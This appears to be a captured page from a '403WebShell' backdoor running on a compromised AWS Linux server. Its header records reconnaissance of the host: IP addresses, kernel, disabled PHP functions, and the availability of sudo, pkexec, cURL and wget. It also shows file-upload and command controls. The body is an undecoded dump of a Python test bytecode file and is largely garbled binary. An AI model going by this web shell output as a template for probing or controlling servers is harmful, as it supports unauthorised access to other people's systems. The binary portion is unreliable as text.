Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_fcntl.cpython-310.pyc
o

�9j��@s�dZddlZddlZddlZddlZddlZddlmZddlm	Z	m
Z
ddlmZddl
mZmZed�Zdd	�Ze�ZGd
d�d�Zdd
�Zdd�ZGdd�dej�Zedkr_e��dSdS)z%Test program for the fcntl C module.
�N)�Process)�verbose�cpython_only)�
import_module)�TESTFN�unlink�fcntlc
CsztjWntyd}Ynwd}tj�d�stjdkr@t�d�dkr*d}d}nd}d}t�|||d	d
d
d
t	j
d
�}n6tj�d�rSt�dd
d
d
t	j
d
d
�}n#tjd
vrft�dt	j
d
d
d
d
d
d
�}nt�d	|d	t	j
d
d
d
d
d
�}|r�tr�tdt
|��|S)N�ll�qq)�netbsd�freebsd�openbsd�darwin�l��i�lxxxx�hhr�gnukfreebsd�qqihhi)zhp-uxB�	unixware7�hhllliiz
struct.pack: )�os�O_LARGEFILE�AttributeError�sys�platform�
startswith�struct�calcsize�packr�F_WRLCKr�print�repr)�	start_len�off_t�pid_t�lockdata�r(�&/usr/lib/python3.10/test/test_fcntl.py�get_lockdatas2
�
�
 r*c@seZdZdd�Zdd�ZdS)�BadFilecCs
||_dS�N��fn)�selfr.r(r(r)�__init__3�
zBadFile.__init__cCs|jSr,r-�r/r(r(r)�fileno5szBadFile.filenoN)�__name__�
__module__�__qualname__r0r3r(r(r(r)r+2sr+cCsVt|d�}z zt�||�Wn	tyYnwW|��dSW|��dS|��w�N�wb+)�openr�lockf�BlockingIOError�close��fname�cmd�fr(r(r)�try_lockf_on_other_process_fail8s
���rAcCs0t|d�}t�||�t�|tj�|��dSr7)r9rr:�LOCK_UNr<r=r(r(r)�try_lockf_on_other_processAs
rCc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zedd��Z	e
�e�
��d
�o,e��dkd�dd��Zdd�Ze
�e��dkd�dd��Ze
�e��dkd�dd��Zedd��Ze
�ejdkd�dd��Ze
�eed �oqeed!�d"�d#d$��Zd%S)&�	TestFcntlcCs
d|_dSr,)r@r2r(r(r)�setUpIr1zTestFcntl.setUpcCs$|jr|jjs|j��tt�dSr,)r@�closedr<rrr2r(r(r)�tearDownLs
zTestFcntl.tearDowncCshttd�|_t�|j��tjtj�}trt	d|�t�|j��tj
t�}tr-t	dt|��|j�
�dS�N�wbz#Status from fcntl with O_NONBLOCK: z!String from fcntl with F_SETLKW: )r9rr@rr3�F_SETFLr�
O_NONBLOCKrr"�F_SETLKWr'r#r<�r/�rvr(r(r)�test_fcntl_filenoQs
zTestFcntl.test_fcntl_filenocCs`ttd�|_t�|jtjtj�}trtd|�t�|jtj	t
�}tr)tdt|��|j��dSrH)
r9rr@rrJrrKrr"rLr'r#r<rMr(r(r)�test_fcntl_file_descriptor\s
z$TestFcntl.test_fcntl_file_descriptorcCs�|�t��t�dtjtj�Wd�n1swY|�t��t�td�tjtj�Wd�n1s9wY|�t��t�dtjtj�Wd�n1sWwY|�t��t�td�tjtj�Wd�dS1sxwYdS)N����spam)�assertRaises�
ValueErrorrrJrrKr+�	TypeErrorr2r(r(r)�test_fcntl_bad_filegs���"�zTestFcntl.test_fcntl_bad_filecCsddlm}m}|�t��t�|dtjtj�Wd�n1s#wY|�t��t�t	|d�tjtj�Wd�n1sEwY|�t��t�|dtjtj�Wd�n1sewY|�t��t�t	|d�tjtj�Wd�dS1s�wYdS)Nr)�INT_MAX�INT_MIN�)
�	_testcapirWrXrS�
OverflowErrorrrJrrKr+)r/rWrXr(r(r)�test_fcntl_bad_file_overflowqs���"�z&TestFcntl.test_fcntl_bad_file_overflow�arm�Linuxz2ARM Linux returns EINVAL for F_NOTIFY DN_MULTISHOTc	Csxztj}tj}Wnty|�d�Ynwt�tj�tj�	t
��tj�}zt�|||�Wt�|�dSt�|�w)Nz$F_NOTIFY or DN_MULTISHOT unavailable)
r�F_NOTIFY�DN_MULTISHOTr�skipTestrr9�path�dirname�abspathr�O_RDONLYr<)r/r?�flags�fdr(r(r)�test_fcntl_64_bit~s
�zTestFcntl.test_fcntl_64_bitcCs�ttd�|_|j��}t�|tj�t�|tj�t�|jtjtjB�t�|jtj�t�|tj	�t�|tj�|�
ttjdtj�|�
ttjdtj�dS)Nr8rQrR)
r9rr@r3r�flock�LOCK_SHrB�LOCK_NB�LOCK_EXrSrTrU)r/r3r(r(r)�
test_flock�s
zTestFcntl.test_flock�AIXzAIX returns PermissionErrorcC�httd�|_tjtjB}t�|j|�ttt|fd�}|�	�|�
�t�|jtj�|�|j
d�dS�Nr8)�target�argsr)r9rr@rrlrkr:rrA�start�joinrB�assertEqual�exitcode�r/r?�pr(r(r)�test_lockf_exclusive��zTestFcntl.test_lockf_exclusivecCrorp)r9rr@rrjrkr:rrCrsrtrBrurvrwr(r(r)�test_lockf_share�rzzTestFcntl.test_lockf_sharecCs&ddl}|�ttj|jdtj�dS)NrrY)rZrSr[rrirWrj)r/rZr(r(r)�test_flock_overflow�s�zTestFcntl.test_flock_overflowrz$F_GETPATH is only available on macoscCsLttd�|_tj�t��d�}t�|j��tj	t
t|���}|�||�dS)NrIzutf-8)
r9rr@rrbrd�encoderr3�	F_GETPATH�bytes�lenru)r/�expected�resr(r(r)�test_fcntl_f_getpath�szTestFcntl.test_fcntl_f_getpath�F_SETPIPE_SZ�F_GETPIPE_SZzAF_SETPIPE_SZ and F_GETPIPE_SZ are not available on all platforms.c	Cs�t��\}}z4t�|tj�}|d}|dkrt�d��t�|tj|�|�t�|tj�|�Wt�|�t�|�dSt�|�t�|�w)N�iz+default pipesize too small to perform test.)	r�piperr��unittest�SkipTestr�rur<)r/�test_pipe_r�test_pipe_w�pipesize_default�pipesizer(r(r)�test_fcntl_f_pipesize�s ��

�zTestFcntl.test_fcntl_f_pipesizeN)r4r5r6rErGrOrPrVrr\r��skipIfr�machiner�systemrhrmryr{r|rr��
skipUnless�hasattrrr�r(r(r(r)rDGs6

�






�rD�__main__)�__doc__rrrrr��multiprocessingr�test.supportrr�test.support.import_helperr�test.support.os_helperrrrr*r'r+rArC�TestCaserDr4�mainr(r(r(r)�<module>s*	�

Youez - 2016 - github.com/yon3zu
LinuXploit